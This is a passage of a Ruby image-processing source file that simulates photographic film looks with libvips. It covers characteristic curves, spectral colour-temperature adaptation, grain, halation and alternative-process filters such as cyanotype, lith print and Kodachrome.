}.freeze

def halation_tint_for(stock)
  case stock
  when :kodak_vision3, :kodak_vision3_500t then HALATION_TINT_VISION3
  when :cinestill_800t then HALATION_TINT_VISION3
  when :kodak_portra, :kodak_vision3_50d then HALATION_TINT_PORTRA
  when :tri_x then HALATION_TINT_TRI_X
  when :ektachrome_100 then HALATION_TINT_PORTRA
  when :kodachrome then HALATION_TINT_PORTRA
  else HALATION_TINT_VISION3
  end
end

# Per-channel characteristic curve baked into a 256-entry LUT. Each channel
# carries [Dmin, Dmax, pivot, gamma] — pivot is the linear midtone fulcrum
# (≈0.18 for ISO-calibrated film), gamma is contrast, Dmin/Dmax are the
# shadow floor and highlight ceiling in linear output. Operates in
# linearized sRGB so middle gray maps to itself, and per-channel offset
# from neutral creates the colour cast that defines a stock's look.
# One maplut at runtime; CPU spent only on cache miss.
module HD
  CACHE = {}

  module_function

  def srgb_to_linear(v)
    v <= 0.04045 ? v / 12.92 : ((v + 0.055) / 1.055)**2.4
  end

  def linear_to_srgb(v)
    v <= 0.0031308 ? v * 12.92 : 1.055 * v**(1.0 / 2.4) - 0.055
  end

  def develop(linear, params)
    d_min, d_max, pivot, gamma = params
    if linear < pivot
      d_min + (pivot - d_min) * (linear / pivot)**(1.0 / gamma)
    else
      pivot + (d_max - pivot) * ((linear - pivot) / (1.0 - pivot))**gamma
    end
  end

  def channel_curve(params)
    (0..255).map do |i|
      out = develop(srgb_to_linear(i / 255.0), params)
      (linear_to_srgb(out.clamp(0, 1)) * 255.0).round.clamp(0, 255)
    end
  end

  def build_lut(stock_data)
    hd = stock_data[:hd] or return nil
    bands = %i[r g b].map { |c| Vips::Image.new_from_array([channel_curve(hd[c])]) }
    Vips::Image.bandjoin(bands).cast('uchar')
  end

  def lut_for(stock_data)
    CACHE[stock_data.object_id] ||= build_lut(stock_data)
  end

  def apply(image, stock_data)
    lut = lut_for(stock_data)
    lut ? image.maplut(lut) : image
  end
end

def safe_cast(image, format = 'uchar')
  if format == 'uchar'
    f = image.cast('float')
    f = (f > 0).ifthenelse(f, 0)
    f = (f < 255).ifthenelse(f, 255)
    f.cast('uchar')
  else
    image.cast(format)
  end
rescue StandardError => e
  $logger.error "Cast failed: #{e.message}"
  image
end

def rgb_bands(image, bands = 3)
  return image if image.bands == bands
  image.bands < bands ? image.bandjoin([image] * (bands - image.bands)) : image.extract_band(0, n: bands)
end

def load_image(file)
  return nil unless File.exist?(file) && File.readable?(file)
  image = Vips::Image.new_from_file(file, access: :random)
  image = image.colourspace("srgb") if image.bands < 3
  rgb_bands(image)
rescue StandardError => e
  $logger.error "Load failed #{file}: #{e.message}"
  nil
end

def get_camera_profile(image)
  return nil if CAMERA_PROFILES.empty?

  begin
    make = image.get("exif-ifd0-Make")&.strip&.downcase
    model = image.get("exif-ifd0-Model")&.strip&.downcase

    return nil unless make && model

    # Try exact model match first
    CAMERA_PROFILES.each do |brand, profiles|
      return profiles[model] if profiles[model]
    end

    # Try brand match
    CAMERA_PROFILES.each do |brand, profiles|
      return profiles.values.first if make.include?(brand) || brand.include?(make)
    end

    nil
  rescue StandardError => e
    $logger.debug "EXIF read failed: #{e.message}"
    nil
  end
end

def apply_camera_profile(image, profile)
  return image unless profile && profile["color_matrix"]

  begin
    matrix = profile["color_matrix"]
    return image unless matrix.length == 9

    # Apply 3x3 color matrix
    result = image.recomb([
      [matrix[0], matrix[1], matrix[2]],
      [matrix[3], matrix[4], matrix[5]],
      [matrix[6], matrix[7], matrix[8]]
    ])

    # Apply optional adjustments
    if profile["saturation"]
      hsv = result.colourspace("hsv")
      h, s, v = hsv.bandsplit
      s = s.linear([profile["saturation"]], [0])
      result = Vips::Image.bandjoin([h, s, v]).colourspace("srgb")
    end

    if profile["vibrance"]
      # Simple vibrance simulation
      result = result.linear([1.0 + profile["vibrance"] * 0.1], [0])
    end

    if profile["base_tint"]
      result = base_tint(result, profile["base_tint"], 0.1)
    end

    safe_cast(result)
  rescue StandardError => e
    $logger.error "Camera profile failed: #{e.message}"
    image
  end
end

# Spectral chromatic adaptation. Black-body physics, not ad-hoc R/G/B
# multipliers. Each pixel's RGB is upsampled to a 31-sample spectrum via a
# Gaussian basis calibrated so that under D65 the round-trip is identity;
# then reweighted by I_target/I_source (Planck's law); then re-integrated
# against CIE 1931 2° CMFs and projected to sRGB. All steps are linear, so
# they collapse to a single 3×3 matrix at runtime — applied via recomb in
# linear scrgb space.
module Spectral
  WAVELENGTHS = (400..700).step(10).to_a.freeze
  DELTA = 10.0

  CMF_X = [0.0143, 0.0435, 0.1344, 0.2839, 0.3483, 0.3362, 0.2908, 0.1954,
           0.0956, 0.0320, 0.0049, 0.0093, 0.0633, 0.1655, 0.2904, 0.4334,
           0.5945, 0.7621, 0.9163, 1.0263, 1.0622, 1.0026, 0.8544, 0.6424,
           0.4479, 0.2835, 0.1649, 0.0874, 0.0468, 0.0227, 0.0114].freeze
  CMF_Y = [0.0004, 0.0012, 0.0040, 0.0116, 0.0230, 0.0380, 0.0600, 0.0910,
           0.1390, 0.2080, 0.3230, 0.5030, 0.7100, 0.8620, 0.9540, 0.9950,
           0.9950, 0.9520, 0.8700, 0.7570, 0.6310, 0.5030, 0.3810, 0.2650,
           0.1750, 0.1070, 0.0610, 0.0320, 0.0170, 0.0082, 0.0041].freeze
  CMF_Z = [0.0679, 0.2074, 0.6456, 1.3856, 1.7471, 1.7721, 1.6692, 1.2876,
           0.8130, 0.4652, 0.2720, 0.1582, 0.0782, 0.0422, 0.0203, 0.0087,
           0.0039, 0.0021, 0.0017, 0.0011, 0.0008, 0.0003, 0.0002, 0.0000,
           0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000].freeze

  XYZ_TO_SRGB = [[ 3.2406, -1.5372, -0.4986],
                 [-0.9689,  1.8758,  0.0415],
                 [ 0.0557, -0.2040,  1.0570]].freeze

  PLANCK_C1 = 2 * 6.62607015e-34 * (2.99792458e8)**2
  PLANCK_C2 = 6.62607015e-34 * 2.99792458e8 / 1.380649e-23
  D65_KELVIN = 6504.0
  PRIMARY_CENTERS = [611.0, 549.0, 464.0].freeze
  PRIMARY_SIGMA = 30.0
  CACHE = {}

  module_function

  def planckian(kelvin)
    WAVELENGTHS.map do |nm|
      l = nm * 1e-9
      PLANCK_C1 / (l**5 * (Math.exp(PLANCK_C2 / (l * kelvin)) - 1))
    end
  end

  def normalize_to_y1(spd)
    y = spd.zip(CMF_Y).sum { |s, c| s * c } * DELTA
    spd.map { |v| v / y }
  end

  def gaussian_basis
    PRIMARY_CENTERS.map do |c|
      WAVELENGTHS.map { |λ| Math.exp(-(λ - c)**2 / (2 * PRIMARY_SIGMA**2)) }
    end
  end

  def spd_to_xyz(spd, illuminant)
    weighted = spd.each_with_index.map { |s, i| s * illuminant[i] }
    [CMF_X, CMF_Y, CMF_Z].map { |cmf| weighted.zip(cmf).sum { |w, c| w * c } * DELTA }
  end

  def matvec3(m, v)
    (0..2).map { |i| (0..2).sum { |j| m[i][j] * v[j] } }
  end

  def inv3(m)
    a, b, c = m[0]; d, e, f = m[1]; g, h, i = m[2]
    det = a * (e * i - f * h) - b * (d * i - f * g) + c * (d * h - e * g)
    raise "singular" if det.abs < 1e-12
    inv = 1.0 / det
    [[(e * i - f * h) * inv, (c * h - b * i) * inv, (b * f - c * e) * inv],
     [(f * g - d * i) * inv, (a * i - c * g) * inv, (c * d - a * f) * inv],
     [(d * h - e * g) * inv, (b * g - a * h) * inv, (a * e - b * d) * inv]]
  end

  def calibrated_basis
    CACHE[:basis] ||= begin
      raw = gaussian_basis
      d65 = normalize_to_y1(planckian(D65_KELVIN))
      cols = raw.map { |b| matvec3(XYZ_TO_SRGB, spd_to_xyz(b, d65)) }
      m = [[cols[0][0], cols[1][0], cols[2][0]],
           [cols[0][1], cols[1][1], cols[2][1]],
           [cols[0][2], cols[1][2], cols[2][2]]]
      m_inv = inv3(m)
      (0..2).map do |j|
        WAVELENGTHS.each_index.map do |λi|
          (0..2).sum { |k| m_inv[j][k] * raw[k][λi] }
        end
      end
    end
  end

  def integration_matrix(illuminant)
    basis = calibrated_basis
    (0..2).map do |i|
      (0..2).map do |j|
        WAVELENGTHS.each_index.sum do |λi|
          xyz_dot = XYZ_TO_SRGB[i][0] * CMF_X[λi] +
                    XYZ_TO_SRGB[i][1] * CMF_Y[λi] +
                    XYZ_TO_SRGB[i][2] * CMF_Z[λi]
          basis[j][λi] * illuminant[λi] * xyz_dot * DELTA
        end
      end
    end
  end

  def matmul3(a, b)
    (0..2).map { |i| (0..2).map { |j| (0..2).sum { |k| a[i][k] * b[k][j] } } }
  end

  def adaptation_matrix(source_kelvin, target_kelvin)
    src = normalize_to_y1(planckian(source_kelvin))
    tgt = normalize_to_y1(planckian(target_kelvin))
    matmul3(integration_matrix(tgt), inv3(integration_matrix(src)))
  end
end

def spectral_temp(image, source_kelvin: 5500, target_kelvin: 6504, intensity: 1.0)
  matrix = Spectral.adaptation_matrix(source_kelvin, target_kelvin)
  linear = image.colourspace("scrgb")
  graded = linear.recomb(matrix)
  blended = linear * (1.0 - intensity) + graded * intensity
  safe_cast(blended.colourspace("srgb"))
end

def color_temp(image, kelvin, intensity = 1.0)
  factor = kelvin / 5500.0
  r_mult, g_mult, b_mult = if factor < 1.0
                             [1.0, factor**0.5, factor**2]
                           else
                             [factor**-0.3, 1.0, 1.0 + (factor - 1.0) * 0.5]
                           end
  safe_cast(image.linear([
    1.0 + (r_mult - 1.0) * intensity,
    1.0 + (g_mult - 1.0) * intensity,
    1.0 + (b_mult - 1.0) * intensity
  ], [0, 0, 0]))
end

def skin_protect(image, intensity = 1.0)
  hsv = image.colourspace('hsv')
  h, s, v = hsv.bandsplit

  hue_mask = (h > 25.5) & (h < 63.75)
  sat_mask = (s > 51) & (s < 153)
  skin_mask = hue_mask & sat_mask

  protection = skin_mask.cast('float') / 255.0 * (1.0 - intensity * 0.7)
  protection_rgb = protection.bandjoin([protection, protection])
  inv_protection = protection_rgb.linear(-1, 1)

  safe_cast(image * inv_protection + image * protection_rgb)
end

def film_curve(image, stock = :kodak_portra, intensity = 1.0)
  data      = STOCKS[stock] || STOCKS[:kodak_portra]
  developed = HD.apply(image, data)
  safe_cast(image * (1 - intensity) + developed * intensity)
end

def highlight_roll(image, threshold = 200, intensity = 1.0)
  mask = image > threshold
  over_exposed = image - threshold
  rolled_off = ((over_exposed * 0.3) ** 0.7) + threshold
  result = mask.ifthenelse(rolled_off, image)
  safe_cast(image * (1 - intensity) + result * intensity)
end

def shadow_lift(image, lift = 0.15, preserve_blacks = true)
  gray = image.colourspace('b-w').cast('float') / 255.0
  inv_gray    = gray.linear(-1, 1)
  shadow_mask = preserve_blacks ? (inv_gray ** 2.0) * 0.8 : inv_gray * lift
  lift_rgb = shadow_mask.bandjoin([shadow_mask, shadow_mask])
  safe_cast(image + lift_rgb * 255 * lift)
end

def micro_contrast(image, radius = 5, intensity = 0.3)
  blurred = image.gaussblur(radius)
  high_pass = image - blurred
  safe_cast(image + high_pass * intensity)
end

def color_separate(image, intensity = 0.6)
  r, g, b = image.bandsplit

  r_diff = r - (g * 0.08 * intensity) - (b * 0.05 * intensity)
  g_diff = g - (r * 0.06 * intensity) - (b * 0.10 * intensity)
  b_diff = b - (r * 0.04 * intensity) - (g * 0.07 * intensity)
  r_clean = (r_diff > 0).ifthenelse(r_diff, 0)
  g_clean = (g_diff > 0).ifthenelse(g_diff, 0)
  b_clean = (b_diff > 0).ifthenelse(b_diff, 0)

  separated = Vips::Image.bandjoin([r_clean, g_clean, b_clean])
  safe_cast(image * (1 - intensity) + separated * intensity)
end

GRAIN_CELL_BASE = 4.0  # base Perlin cell size in px — larger = coarser grain
GRAIN_AMP_SCALE = 400.0 # amplitude denominator, tuned for scRGB [0,1] space
# 3-tap horizontal convolution kernel for grain anisotropy (film transport direction).
# Film grain is slightly elongated along the direction of film travel — this
# kernel applies a subtle horizontal elongation without visible smearing.
GRAIN_ANISO_KERNEL = Vips::Image.new_from_array([[0.18, 0.64, 0.18]]).freeze

# Perlin + fractsurf grain with horizontal anisotropy and shadow-weighted envelope.
# Perlin (70%) gives crystalline cluster structure; fractsurf (30%) adds multi-scale
# fBm detail. The midtone envelope 4L^0.8(1-L) peaks slightly toward the shadow
# side of mid-gray, matching real halide clump statistics. A mild horizontal
# directional kernel elongates grain clusters along the film-transport axis.
def grain(image, iso = 400, stock = :kodak_portra, intensity = 0.4)
  data      = STOCKS[stock] || STOCKS[:kodak_portra]
  scales    = GRAIN_CHAN_SCALE[stock] || [1.0, 1.0, 1.0]
  sublayers = data[:sublayers] || [{ sensitivity_shift: 0.0, grain_scale: 1.0, weight: 1.0 }]
  iso_factor     = Math.sqrt(iso / 100.0)
  base_amplitude = data[:grain] * iso_factor * intensity / GRAIN_AMP_SCALE

  linear = image.colourspace("scrgb")
  r, g, b = linear.bandsplit
  luma = r * 0.2126 + g * 0.7152 + b * 0.0722
  # Shadow-biased envelope: luma^0.8 shifts peak toward shadows vs symmetric 4L(1-L)
  envelope = (luma.linear([1], [0]).pow(0.80) * luma.linear([-1], [1])).linear([4], [0])

  # Lognormal cluster field: silver halide crystals cluster in groups whose
  # amplitude follows a lognormal distribution. exp(gaussian_noise) produces
  # the characteristic long-tail clumping seen in real emulsion grain scans.
  cluster_sigma = [GRAIN_CELL_BASE * 2.5, 1.0].max
  cluster_field = Vips::Image.gaussnoise(image.width, image.height, sigma: GRAIN_LOGNORM_SIGMA, mean: 0.0)
                             .gaussblur(cluster_sigma).exp
                             .linear([1.0 / GRAIN_LOGNORM_MEAN], [0])

  bands = scales.each_with_index.map do |chan_scale, ci|
    sp = [GRAIN_CELL_BASE * GRAIN_CHANNEL_SPATIAL[ci] * 0.7, 0.3].max
    sublayers.map do |sl|
      cell      = [GRAIN_CELL_BASE * (2.0**sl[:sensitivity_shift]) * sl[:grain_scale], 1.5].max.round
      amplitude = base_amplitude * chan_scale * sl[:grain_scale] * sl[:weight]
      perlin    = Vips::Image.perlin(image.width, image.height, cell_size: cell)
      fractal   = Vips::Image.fractsurf(image.width, image.height, 2.5)
      raw       = (perlin * 0.70 + fractal * 0.30)
      # Anisotropy: slight horizontal elongation along film-transport axis
      aniso     = raw.conv(GRAIN_ANISO_KERNEL, precision: :float)
      clustered = (raw * 0.55 + aniso * 0.45) * cluster_field
      clustered.gaussblur(sp).linear([amplitude], [0.0])
    end.reduce(:+)
  end

  noise = Vips::Image.bandjoin(bands)
  safe_cast((linear + noise * envelope).colourspace("srgb"))
rescue StandardError => e
  $logger.error "grain failed: #{e.message}"; image
end

def base_tint(image, color = [252, 248, 240], intensity = 0.08)
  overlay = Vips::Image.black(image.width, image.height, bands: 3) + color
  overlay_norm = overlay.cast('float') / 255.0
  image_norm = image.cast('float') / 255.0

  inv_image   = image_norm.linear(-1, 1)
  inv_overlay = overlay_norm.linear(-1, 1)
  multiply    = image_norm * overlay_norm * 2
  screen      = (inv_image * inv_overlay).linear(-2, 1)
  result      = (overlay_norm < 0.5).ifthenelse(multiply, screen)

  blended = result * 255
  safe_cast(image * (1 - intensity) + blended * intensity)
end

def vintage_lens(image, type = "zeiss", intensity = 0.7)
  spec = LENSES[type.to_sym] || LENSES[:zeiss]
  result = image
  result = micro_contrast(result, 4, spec[:micro_contrast] * intensity) if spec[:micro_contrast]
  if spec[:glow]
    glow = image.gaussblur(20) * (spec[:glow] * intensity)
    result = safe_cast(result + glow)
  end
  if spec[:chroma]
    shift = [(spec[:chroma] * intensity * 6).round, 1].max
    r, g, b = result.bandsplit
    r = r.embed(shift, 0, result.width, result.height)
    b = b.embed(-shift, 0, result.width, result.height)
    result = safe_cast(Vips::Image.bandjoin([r, g, b]))
  end
  result = warmth(result, spec[:warmth] * intensity) if spec[:warmth]
  result
rescue StandardError => e
  $logger.error "vintage_lens failed: #{e.message}"
  image
end

def desaturate(image, amount = 0.5)
  gray = image.colourspace("grey16").colourspace("srgb")
  safe_cast(image * (1.0 - amount) + gray * amount)
rescue StandardError => e
  $logger.error "desaturate failed: #{e.message}"
  image
end

# Gentle warm color push: R+, G mild+, B-. Stays subtle — use amount ≤ 0.3.
def warmth(image, amount = 0.2)
  image.linear(
    [1.0 + 0.30 * amount, 1.0 + 0.08 * amount, 1.0 - 0.18 * amount],
    [0, 0, 0]
  ).then { |r| safe_cast(r) }
rescue StandardError => e
  $logger.error "warmth failed: #{e.message}"
  image
end

# Desaturated green push for horror / cold clinical grades.
def green_push(image, amount = 0.15)
  image.linear(
    [1.0 - amount * 0.50, 1.0 + amount, 1.0 - amount * 0.30],
    [0, 0, 0]
  ).then { |r| safe_cast(r) }
rescue StandardError => e
  $logger.error "green_push failed: #{e.message}"
  image
end

# OLPF (optical low-pass filter) simulation. Two-gaussian PSF: sharp core (84%)
# + wide skirt (16%) matches the Lorentzian wings measured on real lens MTFs.
def optical_blur(image, sigma = 0.6)
  core = image.gaussblur([sigma * 0.6, 0.3].max)
  skirt = image.gaussblur([sigma * 2.8, 0.5].max)
  safe_cast(core.cast("float") * 0.84 + skirt.cast("float") * 0.16)
rescue StandardError => e
  $logger.error "optical_blur: #{e.message}"; image
end

# Emulsion depth defocus: each dye layer sits at a different depth in the
# multilayer emulsion stack. Blue layer (top, nearest lens) is sharpest;
# red (deepest) sees the most focus spread from incident + substrate-reflected
# light. focal_plane_offset is stock-specific — cinestill_800t (remjet removed)
# has the most scatter; slow daylight stocks have little.
def emulsion_defocus(image, stock = :kodak_portra)
  data   = STOCKS[stock] || STOCKS[:kodak_portra]
  offset = data.fetch(:focal_plane_offset, 1.0)
  r, g, b = image.bandsplit
  r2 = offset > 0 ? safe_cast(r.gaussblur(0.6 * offset)) : r
  g2 = offset > 0 ? safe_cast(g.gaussblur(0.3 * offset)) : g
  safe_cast(Vips::Image.bandjoin([r2, g2, b]))
rescue StandardError => e
  $logger.error "emulsion_defocus: #{e.message}"; image
end

# Lateral + longitudinal chromatic aberration. Lateral: R/B registration shift
# at sensor edges. Longitudinal: wavelength-dependent focus depth — blue blurs
# before the focal plane, red sharpest (as in `longitudinal_ca`).
def chromatic_aberration(image, strength = 0.5)
  shift = [(strength * 3.0).round, 1].max
  r, g, b = image.bandsplit
  r2 = r.embed(shift, 0, image.width, image.height)
  b2 = b.embed(-shift, 0, image.width, image.height)
  long_sigma = [strength * 0.9, 0.3].max
  r3 = r2.gaussblur([long_sigma * 0.35, 0.3].max)
  b3 = b2.gaussblur([long_sigma, 0.3].max)
  safe_cast(Vips::Image.bandjoin([r3, g, b3]))
rescue StandardError => e
  $logger.error "chromatic_aberration: #{e.message}"; image
end

# DIR coupler inhibition: development byproducts from one dye layer inhibit
# adjacent layers, slightly desaturating pure hues and sharpening edges.
def dir_coupler(image, strength = 0.15)
  blurred   = image.gaussblur(2.0)
  high_pass = image.cast("float") - blurred.cast("float")
  gray      = image.colourspace("grey16").colourspace("srgb").cast("float")
  img_f     = image.cast("float") / 255.0
  # Lateral inhibition: each dye layer's development byproducts diffuse σ≈0.8px
  # and suppress adjacent layers — desaturates pure hues, sharpens colour edges.
  r_d, g_d, b_d = img_f.bandsplit.map { |ch| ch.gaussblur(0.8) }
  inhibition = Vips::Image.bandjoin([
    r_d - g_d * (0.08 * strength) - b_d * (0.04 * strength),
    g_d - r_d * (0.12 * strength) - b_d * (0.07 * strength),
    b_d - r_d * (0.06 * strength) - g_d * (0.10 * strength)
  ])
  inhibited = clamp01(inhibition) * 255.0
  desatd = inhibited * (1.0 - strength * 0.3) + gray * (strength * 0.3)
  safe_cast((desatd + high_pass * (strength * 0.5)).cast("uchar"))
rescue StandardError => e
  $logger.error "dir_coupler: #{e.message}"; image
end

# Bleach bypass: skip bleach step, retain silver alongside dye. Screen-blend of
# a B&W layer over the colour image. Shadow neutral lift models the base silver
# density — retained metallic silver adds a grey floor to the darkest zones.
def bleach_bypass(image, intensity = 0.5)
  img_f  = image.cast("float") / 255.0
  gray_f = image.colourspace("grey16").colourspace("srgb").cast("float") / 255.0
  screen = (img_f.linear(-1, 1) * gray_f.linear(-1, 1)).linear(-1, 1)
  shadow_base = gray_f.linear(-1, 1) ** 2.0 * intensity * 0.18
  base_rgb = shadow_base.bandjoin([shadow_base, shadow_base])
  result = img_f * (1.0 - intensity) + screen * intensity + base_rgb * intensity
  safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
  $logger.error "bleach_bypass: #{e.message}"; image
end

# Push/pull processing. Per-stock per-channel response: blue dye layer develops
# faster under push (reaches Dmax sooner), so PUSH_RESPONSE attenuates it to
# match measured sensitometry curves for each stock.
def push_pull(image, stops = 1.0, stock = :kodak_portra)
  resp   = PUSH_RESPONSE[stock] || { g: 1.00, b: 0.94 }
  linear = image.colourspace("scrgb")
  factor = 2.0**stops
  r, g, b = linear.bandsplit
  adj = Vips::Image.bandjoin([
    clamp01(r * factor),
    clamp01(g * factor * resp[:g]),
    clamp01(b * factor * resp[:b])
  ])
  if stops > 0
    shadow_add = adj.linear(-1, 1) ** 2.0 * (stops * 0.04)
    adj = clamp01(adj + shadow_add)
  end
  safe_cast(adj.colourspace("srgb"))
rescue StandardError => e
  $logger.error "push_pull: #{e.message}"; image
end

# Split toning: shadow and highlight color casts weighted by luminance.
# shadow_rgb / hi_rgb are [R,G,B] triplets in 0-255.
def split_toning(image, shadow_rgb = [45, 35, 60], hi_rgb = [255, 240, 210], intensity = 0.30)
  luma  = image.colourspace("b-w").cast("float") / 255.0
  img_f = image.cast("float") / 255.0
  s_clr = (Vips::Image.black(image.width, image.height, bands: 3) + shadow_rgb).cast("float") / 255.0
  h_clr = (Vips::Image.black(image.width, image.height, bands: 3) + hi_rgb).cast("float") / 255.0
  s_w   = luma.linear(-1, 1) * intensity * 0.55
  h_w   = luma               * intensity * 0.55
  result = img_f + (s_clr - img_f) * s_w + (h_clr - img_f) * h_w
  safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
  $logger.error "split_toning: #{e.message}"; image
end

# Three-way color corrector: independent shadow / midtone / highlight casts.
def split_grade(image, shadow_rgb = [30, 40, 60], mid_rgb = [255, 255, 248], hi_rgb = [255, 245, 220], intensity: 0.25)
  luma  = image.colourspace("b-w").cast("float") / 255.0
  img_f = image.cast("float") / 255.0
  s_clr = (Vips::Image.black(image.width, image.height, bands: 3) + shadow_rgb).cast("float") / 255.0
  m_clr = (Vips::Image.black(image.width, image.height, bands: 3) + mid_rgb).cast("float") / 255.0
  h_clr = (Vips::Image.black(image.width, image.height, bands: 3) + hi_rgb).cast("float") / 255.0
  s_w = (luma.linear(-1, 1) ** 2.0) * intensity * 0.5
  m_w = (luma * luma.linear(-1, 1) * 4.0)  * intensity * 0.5
  h_w = (luma ** 2.0)                       * intensity * 0.5
  result = img_f + (s_clr - img_f) * s_w + (m_clr - img_f) * m_w + (h_clr - img_f) * h_w
  safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
  $logger.error "split_grade: #{e.message}"; image
end

# Film base density: multiplicative dye-density layer that shifts both color
# and overall density — warmer and slightly darker than a simple tint.
def dual_base_density(image, color = [255, 248, 235], opacity = 0.07)
  r_m, g_m, b_m = color.map { |c| c / 255.0 }
  img_f      = image.cast("float") / 255.0
  multiplied = img_f.linear([r_m, g_m, b_m], [0, 0, 0])
  result     = img_f * (1.0 - opacity) + multiplied * opacity
  safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
  $logger.error "dual_base_density: #{e.message}"; image
end

# Reciprocity failure: long exposures exhibit non-linear response — blue
# channel lags most. Per-stock shifts from RECIPROCITY_SHIFT calibrate the
# green-magenta crossover and blue lag to measured sensitometry data.
def reciprocity_failure(image, exposure_seconds = 10.0, stock = :cinestill_800t)
  ev   = Math.log2([exposure_seconds, 1.0].max) / 10.0
  cs   = RECIPROCITY_SHIFT[stock] || RECIPROCITY_SHIFT[:cinestill_800t]
  linear = image.colourspace("scrgb")
  r, g, b = linear.bandsplit
  luma    = r * 0.2126 + g * 0.7152 + b * 0.0722
  dark_w  = luma.linear(-1, 1)
  result  = Vips::Image.bandjoin([
    r + dark_w * ev * 0.03 + (ev * cs[:r]),
    g + dark_w * ev * 0.02 + (ev * cs[:g]),
    b + (ev * 0.15) + dark_w * ev * 0.05 + (ev * cs[:b])
  ])
  safe_cast(clamp01(result).colourspace("srgb"))
rescue StandardError => e
  $logger.error "reciprocity_failure: #{e.message}"; image
end

# Dreamy soft cross-fade: soft-light blend of a blurred copy over the image.
def cross_fade(image, intensity = 0.4)
  blur_f = image.gaussblur(12.0).cast("float") / 255.0
  img_f  = image.cast("float") / 255.0
  screen = (img_f.linear(-1, 1) * blur_f.linear(-1, 1)).linear(-1, 1)
  soft   = (blur_f < 0.5).ifthenelse(img_f * blur_f * 2.0, screen)
  result = img_f * (1.0 - intensity) + soft * intensity
  safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
  $logger.error "cross_fade: #{e.message}"; image
end

# Infrared simulation: green channel → bright (foliage), blue → dark (sky).
# Heavy green mix approximates IR film's extended-red/near-IR sensitivity.
def infrared(image, intensity = 0.8)
  r, g, b = image.cast("float").bandsplit
  ir  = r * 0.20 + g * 0.80 + (b > 0).ifthenelse(b, 0).linear(-1, 0) * 0.15
  ir  = (ir > 0).ifthenelse(ir, 0)
  glow = ir.gaussblur(8.0) * 0.25
  ir3 = Vips::Image.bandjoin([ir + glow, ir + glow, ir + glow])
  result = image.cast("float") * (1.0 - intensity) + ir3 * intensity
  safe_cast(result.cast("uchar"))
rescue StandardError => e
  $logger.error "infrared: #{e.message}"; image
end

# Cyanotype alt-process: Prussian blue shadows [0,52,102] to white highlights.
def cyanotype(image, intensity = 0.90)
  shadow = [0, 52, 102]
  luma   = image.colourspace("b-w").cast("float") / 255.0
  r = luma * (255 - shadow[0]) + shadow[0]
  g = luma * (255 - shadow[1]) + shadow[1]
  b = luma * (255 - shadow[2]) + shadow[2]
  cyan   = Vips::Image.bandjoin([r, g, b])
  result = image.cast("float") * (1.0 - intensity) + cyan * intensity
  safe_cast(result.cast("uchar"))
rescue StandardError => e
  $logger.error "cyanotype: #{e.message}"; image
end

# Lith printing: aggressive contrast, warm sepia shadows, near-white highlights.
def lith_print(image, intensity = 0.80)
  gray = image.colourspace("b-w").cast("float") / 255.0
  hi   = clamp01(gray ** 0.55 * 1.1)
  s_w  = (gray.linear(-1, 1) ** 2.0) * 255.0
  r    = hi * 255.0 + s_w * 0.12
  g    = hi * 255.0 - s_w * 0.04
  b    = hi * 255.0 - s_w * 0.16
  lith = Vips::Image.bandjoin([r, g, b])
  result = image.cast("float") * (1.0 - intensity) + lith * intensity
  safe_cast(result.cast("uchar"))
rescue StandardError => e
  $logger.error "lith_print: #{e.message}"; image
end

# Technicolor 3-strip: per-channel strip registration offset + heavy dye saturation.
def technicolor(image, intensity = 0.60)
  r, g, b = image.bandsplit
  r2 = r.embed(1, 0, image.width, image.height)
  b2 = b.embed(-1, 1, image.width, image.height)
  combined = Vips::Image.bandjoin([r2, g, b2])
  hsv = combined.colourspace("hsv")
  h, s, v = hsv.bandsplit
  s_hi = safe_cast(s.linear([1.0 + intensity * 0.7], [0]))
  boosted = Vips::Image.bandjoin([h, s_hi, v]).colourspace("srgb")
  safe_cast((image.cast("float") * (1.0 - intensity) + boosted.cast("float") * intensity).cast("uchar"))
rescue StandardError => e
  $logger.error "technicolor: #{e.message}"; image
end

# Kodachrome simulation: steep per-channel H&D curve + external coupler saturation.
def kodachrome_sim(image, intensity = 0.70)
  result = film_curve(image, :kodachrome, intensity * 0.85)
  hsv    = result.colourspace("hsv")
  h, s, v = hsv.bandsplit
  s_hi = safe_cast(s.linear([1.0 + intensity * 0.45], [0]))
  v_hi = safe_cast(v.linear([1.0 + intensity * 0.08], [0]))
  saturated = Vips::Image.bandjoin([h, s_hi, v_hi]).colourspace("srgb")
  safe_cast((result.cast("float") * (1.0 - intensity * 0.25) +
             saturated.cast("float") * intensity * 0.25).cast("uchar"))
rescue StandardError => e
  $logger.error "kodachrome_sim: #{e.message}"; image
end

# Aged photographic print with differential dye fading. Cyan is least stable —
# absorbs visible light, degrades fastest → warm shift. Yellow moderate.
# Magenta most stable. Contrast compression + shadow floor models paper base fog.
def faded_print(image, age = 0.5)
  img_f = image.cast("float") / 255.0
  r, g, b = img_f.bandsplit
  cyan_fade   = age * 0.65
  yellow_fade = age * 0.28
  r_faded = clamp01(r + cyan_fade * 0.22 + age * 0.06)
  g_faded = clamp01(g + age * 0.04)
  b_faded = clamp01(b * (1.0 - yellow_fade * 0.20) + yellow_fade * 0.05)
  comp = 1.0 - age * 0.28
  r_out = r_faded * comp + age * 0.07
  g_out = g_faded * comp + age * 0.045
  b_out = b_faded * comp + age * 0.02
  result = Vips::Image.bandjoin([r_out, g_out, b_out])
  result = result.gaussblur(age * 0.9) if age > 0.3
  safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
  $logger.error "faded_print: #{e.message}"; image
end

# Adjacency / Eberhard effect: developer exhaustion at bright edges creates a
# dark inhibition band on the bright side and a slight bright band on the dark side.
# Physically: development byproducts diffuse outward and locally suppress nearby
# grains. Subtract a fraction of the high-pass edge signal → local undershoot.
def adjacency_effects(image, intensity = 0.25)
  blurred = image.gaussblur(1.8)
  edge    = image.cast("float") - blurred.cast("float")
  result  = clamp01((image.cast("float") - edge * (intensity * 0.45)) / 255.0) * 255.0
  safe_cast(result)
rescue StandardError => e
  $logger.error "adjacency_effects: #{e.message}"; image
end

# Longitudinal (axial) chromatic aberration: wavelengths focus at different depths.
# Blue focuses short of the plane; green slightly soft; red sharpest at the focal plane.
def longitudinal_ca(image, strength = 0.50)
  r, g, b = image.bandsplit
  g2 = g.gaussblur([0.4 * strength, 0.3].max)
  b2 = b.gaussblur([0.9 * strength, 0.3].max)
